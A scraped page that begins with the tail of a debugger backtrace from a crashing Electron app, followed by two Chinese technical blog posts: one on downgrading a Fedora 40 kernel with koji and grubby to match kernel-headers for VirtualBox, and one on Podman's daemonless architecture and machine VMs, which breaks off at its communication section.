    frame #7: 0x0000000112962d14 Electron Framework`v8::base::CallOnceImpl(std::__Cr::atomic<unsigned char>*, std::__Cr::function<void ()>) [inlined] std::__Cr::function<void ()>::operator()(this=<unavailable>) const at function.h:981:10 [opt]
    frame #8: 0x0000000112962d14 Electron Framework`v8::base::CallOnceImpl(once=0x0000000116de0e90, init_func=<unavailable>) at once.cc:36:5 [opt]
    frame #9: 0x000000010f71cd64 Electron Framework`v8::internal::CodeRange::EnsureProcessWideCodeRange(v8::PageAllocator*, unsigned long) [inlined] void v8::base::CallOnce<v8::PageAllocator*, unsigned long, void>(once=<unavailable>, init_func=<unavailable>, args=<unavailable>, args=<unavailable>) at once.h:101:5 [opt]
    frame #10: 0x000000010f71cd10 Electron Framework`v8::internal::CodeRange::EnsureProcessWideCodeRange(page_allocator=0x0000013c000d0b40, requested_size=<unavailable>) at code-range.cc:475:3 [opt]
    frame #11: 0x000000010f791418 Electron Framework`v8::internal::Heap::SetUp(this=0x0000013c002cded0, main_thread_local_heap=<unavailable>) at heap.cc:5530:19 [opt]
    frame #12: 0x000000010f6f5218 Electron Framework`v8::internal::Isolate::Init(this=0x0000013c002c0000, startup_snapshot_data=0x000000016b050960, read_only_snapshot_data=0x000000016b050948, shared_heap_snapshot_data=0x000000016b050930, can_rehash=true) at isolate.cc:4719:9 [opt]
    frame #13: 0x000000010f6f5d80 Electron Framework`v8::internal::Isolate::InitWithSnapshot(this=<unavailable>, startup_snapshot_data=<unavailable>, read_only_snapshot_data=<unavailable>, shared_heap_snapshot_data=<unavailable>, can_rehash=<unavailable>) at isolate.cc:4376:10 [opt]
    frame #14: 0x000000010fb92e5c Electron Framework`v8::internal::Snapshot::Initialize(isolate=0x0000013c002c0000) at snapshot.cc:198:19 [opt]
    frame #15: 0x000000010f5ea6ac Electron Framework`v8::Isolate::Initialize(v8_isolate=0x0000013c002c0000, params=0x0000013c00042f40) at api.cc:9725:8 [opt]
    frame #16: 0x0000000112aff208 Electron Framework`gin::IsolateHolder::IsolateHolder(this=0x0000013c00161688, task_runner=scoped_refptr<base::SingleThreadTaskRunner> @ x20, access_mode=<unavailable>, isolate_type=<unavailable>, params=v8::Isolate::CreateParams @ 0x0000013c00042f40, isolate_creation_mode=kNormal, low_priority_task_runner=scoped_refptr<base::SingleThreadTaskRunner> @ scalar, isolate=<unavailable>) at isolate_holder.cc:122:5 [opt]
    frame #17: 0x000000010e4cd8e8 Electron Framework`electron::JavascriptEnvironment::JavascriptEnvironment(uv_loop_s*, bool) [inlined] electron::(anonymous namespace)::CreateIsolateHolder(isolate=0x0000013c002c0000) at javascript_environment.cc:97:10 [opt]
    frame #18: 0x000000010e4cd884 Electron Framework`electron::JavascriptEnvironment::JavascriptEnvironment(this=0x0000013c00161680, event_loop=<unavailable>, setup_wasm_streaming=<unavailable>) at javascript_environment.cc:108:23 [opt]
    frame #19: 0x000000010e581fac Electron Framework`electron::NodeService::Initialize(mojo::StructPtr<node::mojom::NodeServiceParams>) [inlined] std::__Cr::__unique_if<electron::JavascriptEnvironment>::__unique_single std::__Cr::make_unique<electron::JavascriptEnvironment, uv_loop_s*>(__args=<unavailable>) at unique_ptr.h:621:30 [opt]
    frame #20: 0x000000010e581f98 Electron Framework`electron::NodeService::Initialize(this=0x0000013c00170d20, params=node::mojom::NodeServiceParamsPtr @ 0x000000016b050c70) at node_service.cc:81:13 [opt]
    frame #21: 0x000000011147d9bc Electron Framework`node::mojom::NodeServiceStubDispatch::Accept(impl=0x0000013c00170d20, message=0x000000016b051150) at node_service.mojom.cc:278:13 [opt]
    frame #22: 0x00000001119d1108 Electron Framework`mojo::InterfaceEndpointClient::HandleValidatedMessage(this=<unavailable>, message=<unavailable>) at interface_endpoint_client.cc:1021:54 [opt]
    frame #23: 0x00000001119d5b78 Electron Framework`mojo::MessageDispatcher::Accept(this=0x0000013c00082de8, message=0x000000016b051150) at message_dispatcher.cc:43:19 [opt]
    frame #24: 0x00000001119d2d40 Electron Framework`mojo::InterfaceEndpointClient::HandleIncomingMessage(this=0x0000013c00082d00, message=0x000000016b051150) at interface_endpoint_client.cc:706:20 [opt]
    frame #25: 0x00000001119de6cc Electron Framework`mojo::internal::MultiplexRouter::Accept(mojo::Message*) at multiplex_router.cc:1096:42 [opt]
    frame #26: 0x00000001119de6b4 Electron Framework`mojo::internal::MultiplexRouter::Accept(this=0x0000013c00092800, message=<unavailable>) at multiplex_router.cc:710:7 [opt]
    frame #27: 0x00000001119d5b78 Electron Framework`mojo::MessageDispatcher::Accept(this=0x0000013c00092830, message=0x000000016b051300) at message_dispatcher.cc:43:19 [opt]
    frame #28: 0x00000001119ce6a8 Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) [inlined] mojo::Connector::DispatchMessage(this=0x0000013c00092860, handle=mojo::ScopedMessageHandle @ 0x000000016b0512c0) at connector.cc:554:49 [opt]
    frame #29: 0x00000001119ce5bc Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) at connector.cc:611:14 [opt]
    frame #30: 0x00000001119ce51c Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) [inlined] mojo::Connector::OnHandleReadyInternal(this=0x0000013c00092860, result=<unavailable>) at connector.cc:444:3 [opt]
    frame #31: 0x00000001119ce51c Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) [inlined] mojo::Connector::OnWatcherHandleReady(this=0x0000013c00092860, interface_name="", result=<unavailable>) at connector.cc:410:3 [opt]
    frame #32: 0x00000001119ce51c Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) [inlined] void base::internal::DecayedFunctorTraits<void (mojo::Connector::*)(char const*, unsigned int), mojo::Connector*, char const* const&>::Invoke<void (mojo::Connector::*)(char const*, unsigned int), mojo::Connector*, char const*, unsigned int>(method=<unavailable>, receiver_ptr=<unavailable>, args=<unavailable>, args=<unavailable>) at bind_internal.h:738:12 [opt]
    frame #33: 0x00000001119ce51c Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) [inlined] void base::internal::InvokeHelper<false, base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, void, 0ul, 1ul>::MakeItSo<void (mojo::Connector::* const&)(char const*, unsigned int), std::__Cr::tuple<base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>> const&, unsigned int>(functor=<unavailable>, bound=<unavailable>, args=<unavailable>) at bind_internal.h:930:12 [opt]
    frame #34: 0x00000001119ce51c Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) [inlined] void base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::RunImpl<void (mojo::Connector::* const&)(char const*, unsigned int), std::__Cr::tuple<base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>> const&, 0ul, 1ul>(functor=<unavailable>, bound=<unavailable>, (null)=<unavailable>, unbound_args=<unavailable>) at bind_internal.h:1067:14 [opt]
    frame #35: 0x00000001119ce51c Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base=<unavailable>, unbound_args=<unavailable>) at bind_internal.h:987:12 [opt]
    frame #36: 0x000000010e404a4c Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) [inlined] base::RepeatingCallback<void (unsigned int)>::Run(this=<unavailable>, args=<unavailable>) const & at callback.h:344:12 [opt]
    frame #37: 0x000000010e404a18 Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) [inlined] mojo::SimpleWatcher::DiscardReadyState(callback=<unavailable>, result=<unavailable>, state=<unavailable>) at simple_watcher.h:192:14 [opt]
    frame #38: 0x000000010e404a18 Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) [inlined] void base::internal::DecayedFunctorTraits<void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>::Invoke<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&>(function=<unavailable>, args=<unavailable>, args=<unavailable>, args=<unavailable>) at bind_internal.h:671:12 [opt]
    frame #39: 0x000000010e404a04 Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) [inlined] void base::internal::InvokeHelper<false, base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, void, 0ul>::MakeItSo<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), std::__Cr::tuple<base::RepeatingCallback<void (unsigned int)>> const&, unsigned int, mojo::HandleSignalsState const&>(functor=<unavailable>, bound=<unavailable>, args=<unavailable>, args=<unavailable>) at bind_internal.h:930:12 [opt]
    frame #40: 0x000000010e404a04 Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) [inlined] void base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::RunImpl<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), std::__Cr::tuple<base::RepeatingCallback<void (unsigned int)>> const&, 0ul>(functor=<unavailable>, bound=<unavailable>, (null)=<unavailable>, unbound_args=<unavailable>, unbound_args=<unavailable>) at bind_internal.h:1067:14 [opt]
    frame #41: 0x000000010e404a04 Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base=<unavailable>, unbound_args=<unavailable>, unbound_args=<unavailable>) at bind_internal.h:987:12 [opt]
    frame #42: 0x00000001119f2388 Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState<true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) [inlined] base::RepeatingCallback<void (unsigned int, mojo::HandleSignalsState const&)>::Run(this=0x000000016b051468, args=0, args=<unavailable>) const & at callback.h:344:12 [opt]
    frame #43: 0x00000001119f237c Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState<true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) at simple_watcher.cc:278:14 [opt]
    frame #44: 0x00000001119f237c Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState<true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) [inlined] void base::internal::DecayedFunctorTraits<void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>::Invoke<void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher> const&, int, unsigned int, mojo::HandleSignalsState>(method=(Electron Framework`mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) at simple_watcher.cc:247), receiver_ptr=<unavailable>, args=0x0000013c00160280, args=0x0000013c00160284, args=<unavailable>) at bind_internal.h:738:12 [opt]
    frame #45: 0x00000001119f237c Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState<true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) [inlined] void base::internal::InvokeHelper<true, base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, void, 0ul, 1ul, 2ul, 3ul>::MakeItSo<void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), std::__Cr::tuple<base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>>(functor=0x0000013c00160260, bound=<unavailable>) at bind_internal.h:954:5 [opt]
    frame #46: 0x00000001119f2298 Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState<true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) [inlined] void base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState<true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunImpl<void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), std::__Cr::tuple<base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, 0ul, 1ul, 2ul, 3ul>(functor=0x0000013c00160260, bound=<unavailable>, (null)=<unavailable>) at bind_internal.h:1067:14 [opt]
    frame #47: 0x00000001119f2298 Electron Framework`base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState<true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base=0x0000013c00160240) at bind_internal.h:980:12 [opt]
    frame #48: 0x00000001116bea7c Electron Framework`base::TaskAnnotator::RunTaskImpl(base::PendingTask&) [inlined] base::OnceCallback<void ()>::Run(this=0x0000013c00261078) && at callback.h:156:12 [opt]
    frame #49: 0x00000001116bea64 Electron Framework`base::TaskAnnotator::RunTaskImpl(this=<unavailable>, pending_task=0x0000013c00261000) at task_annotator.cc:203:34 [opt]
    frame #50: 0x00000001116d8f5c Electron Framework`base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) [inlined] void base::TaskAnnotator::RunTask<base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)::$_0>(this=<unavailable>, event_name=<unavailable>, pending_task=0x0000013c00261000, args=<unavailable>) at task_annotator.h:90:5 [opt]
    frame #51: 0x00000001116d8f3c Electron Framework`base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(this=0x0000013c00080000, continuation_lazy_now=0x000000016b0518c8) at thread_controller_with_message_pump_impl.cc:473:23 [opt]
    frame #52: 0x00000001116d956c Electron Framework`non-virtual thunk to base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() [inlined] base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork(this=0x0000013c00080000) at thread_controller_with_message_pump_impl.cc:338:40 [opt]
    frame #53: 0x00000001116d952c Electron Framework`non-virtual thunk to base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() at thread_controller_with_message_pump_impl.cc:0 [opt]
    frame #54: 0x000000011168056c Electron Framework`base::MessagePumpDefault::Run(this=0x0000013c00060440, delegate=0x0000013c000800e8) at message_pump_default.cc:40:55 [opt]
    frame #55: 0x00000001116d9bd4 Electron Framework`base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(this=0x0000013c00080000, application_tasks_allowed=true, timeout=<unavailable>) at thread_controller_with_message_pump_impl.cc:641:12 [opt]
    frame #56: 0x00000001116a4f04 Electron Framework`base::RunLoop::Run(this=0x000000016b051b10, location=<unavailable>) at run_loop.cc:134:14 [opt]
    frame #57: 0x00000001110e24c4 Electron Framework`content::UtilityMain(parameters=<unavailable>) at utility_main.cc:439:12 [opt]
    frame #58: 0x000000010e6ef7e4 Electron Framework`content::RunOtherNamedProcessTypeMain(process_type=<unavailable>, main_function_params=MainFunctionParams @ 0x000000016b051dd0, delegate=0x000000016b0521f0) at content_main_runner_impl.cc:775:14 [opt]
    frame #59: 0x000000010e6f04e0 Electron Framework`content::ContentMainRunnerImpl::Run(this=0x00000128002e0280) at content_main_runner_impl.cc:1150:10 [opt]
    frame #60: 0x000000010e6eee84 Electron Framework`content::RunContentProcess(params=<unavailable>, content_main_runner=<unavailable>) at content_main.cc:331:36 [opt]
    frame #61: 0x000000010e6ef048 Electron Framework`content::ContentMain(params=ContentMainParams @ 0x000000016b052178) at content_main.cc:344:10 [opt]
    frame #62: 0x000000010e3c852c Electron Framework`ElectronMain(argc=<unavailable>, argv=<unavailable>) at electron_library_main.mm:26:10 [opt]
    frame #63: 0x0000000104daca50 OOMOL Studio Helper (Plugin)`main(argc=20, argv=0x000000016b0524f0) at electron_main_mac.cc:84:10 [opt]
    frame #64: 0x000000018021b154 dyld`start + 2476

切换 Fedora(40) 内核

bh@bugs.cc (Kevin Cui) — Sat, 11 May 2024 06:08:23 GMT

前几天我从 Fedora 39 升级到了 Fedora 40，但是在升级后，我的 VirtualBox 无法正常启动了，提示我的 kernel 和 kernel-header 版本不匹配。

通过 uname -r 和 dnf list --installed | grep "kernel-headers" 得知我的版本为:

kernel: 6.8.8-300.fc40.x86_64
kernel-headers: 6.8.3-300.fc40.x86_64

于是我尝试通过 sudo dnf install kernel-headers-$(uname -r) 来安装对应版本的 kernel-headers，但是发现没有对应的版本。¹

所以我决定降级 kernel 版本，以便于安装对应版本的 kernel-headers。经过一番查找，我确认了 kernel 版本 6.8.3-300.fc40 的存在。但是无法通过 sudo dnf install kernel-6.8.3-300.fc40.x86_64 来安装，因为 dnf 会提示我没有这个版本。

最终在 discussion.fedoraproject 找到了相关的描述，可以通过 Fedora Updates System For F40 来确认自己需要安装的 kernel 版本是否存在，然后通过 koji download-build --arch=x86_64 <package name> 来进行安装，示例如下:

mkdir kernel-downloads
cd kernel-downloads
koji download-build --arch=x86_64 kernel-6.8.3-300.fc40
sudo dnf install ./kernel-*

安装完成后，我们需要切换到对应的 kernel 版本上。此时可以使用 sudo grubby --info=ALL 来查看当前系统的 kernel 列表。并记录下你想切换的 index 和 kernel 字段。如:

然后先临时切换到这个 kernel 上，以便检测是否正常工作²:

sudo grub2-reboot "3"
reboot

如果没有问题，我们可以将这个 kernel 设置为默认值:

sudo grubby --set-default /boot/vmlinuz-6.8.3-300.fc40.x86_64

再检查一下是否设置成功:

sudo grubby --default-kernel

现在起，我们的系统将默认使用 6.8.3-300.fc40 版本的 kernel。直到下次执行了 dnf update 或者手动切换到其他版本。

Reference:

这一点在 fedoraproject/rpms/kernel 和 fedoraproject/rpms/kernel-headers 中也可以得到验证，Fedora 40 目前最新的 kernel-headers 版本为 6.8.3-300.fc40。 ↩
上面的命令将在下次重启时切换到 index 为 3 的 kernel 上（只生效一次）。 ↩

Podman 基本原理及通信机制

bh@bugs.cc (Kevin Cui) — Mon, 07 Aug 2023 10:21:14 GMT

Podman 是 daemonless 的开源容器引擎，相比 Docker 而言，Podman 不需要运行守护进程，而是直接通过 libpod 库来管理容器，这样就可以避免 Docker 的一些安全问题，比如 Docker 的守护进程需要 root 权限，而 Podman 可以通过普通用户来管理容器。

简要架构 {#architecture}

podman 分为两部分，一部分是 podman client，另一部分是 libpod 库，可以简单理解为前端和后端，所有和容器相关的操作都是通过 libpod 库来实现的。podman client 所做的事情就是将用户的命令通过请求发送给 libpod 来进行操作。

值得注意的是，libpod 只有 Linux 架构的版本，所以 libpod 只能在 linux 系统下运行。至于如何在 Windows 和 MacOS 上运行可以见下一节。

Machine

在 podman 中有一个 machine 的命令，用于启动一个 Linux 虚拟机，来运行容器，这样就可以避免在 podman 中直接运行容器时，需要 root 权限的问题。

目前 podman 支持4种虚拟机类型:

qemu
applehv
hyperv
wsl2

在 Linux 系统下，machine 命令是可选的，但是在 Windows 和 MacOS 系统下，machine 命令是必须的。

Windows 上，虚拟机类型默认是: wsl2，hyperv 是可选的
MacOS 上，虚拟机类型是: qemu，applehv 目前还在开发中（截止到 2023.08）
Linux 上，如果启动虚拟机，则虚拟机类型是: qemu

值得一提的是，由 machine 启动的虚拟机系统是 Fedora Linux。并且 machine 命令会自动下载 Fedora Linux 的镜像，所以第一次运行 podman machine init 时，会比较慢（可以事先手动下载，并通过 --image-path 参数进行指定）。如果在使用 init 命令，并且没有指定 --image-path 时，podman 每次都会去尝试下载最新的 Fedora 镜像，关于这一点，规则如下：

如果本地有缓存，并且和最新的镜像一致，则不会下载
缓存只保留一个版本，并且会在两周后删除。

Fedora Linux 中内置了 podman，所以其实在 Windows 和 MacOS 系统里，你所运行的 podman 命令其实都是通过 gvp 或者 ssh 连接到虚拟机里的 socket file，通过 socket file 把请求转发给 libpod 来进行处理。如下图:

图中的 podman remote 就是宿主机中的 podman 命令，之所以这么写，是因为在 Windows 和 MacOS 下所运行的 podman 都是 remote 模式。（在 Linux 中，可以通过加入 --remote 参数手动进入此模式）

通信 {#communication}

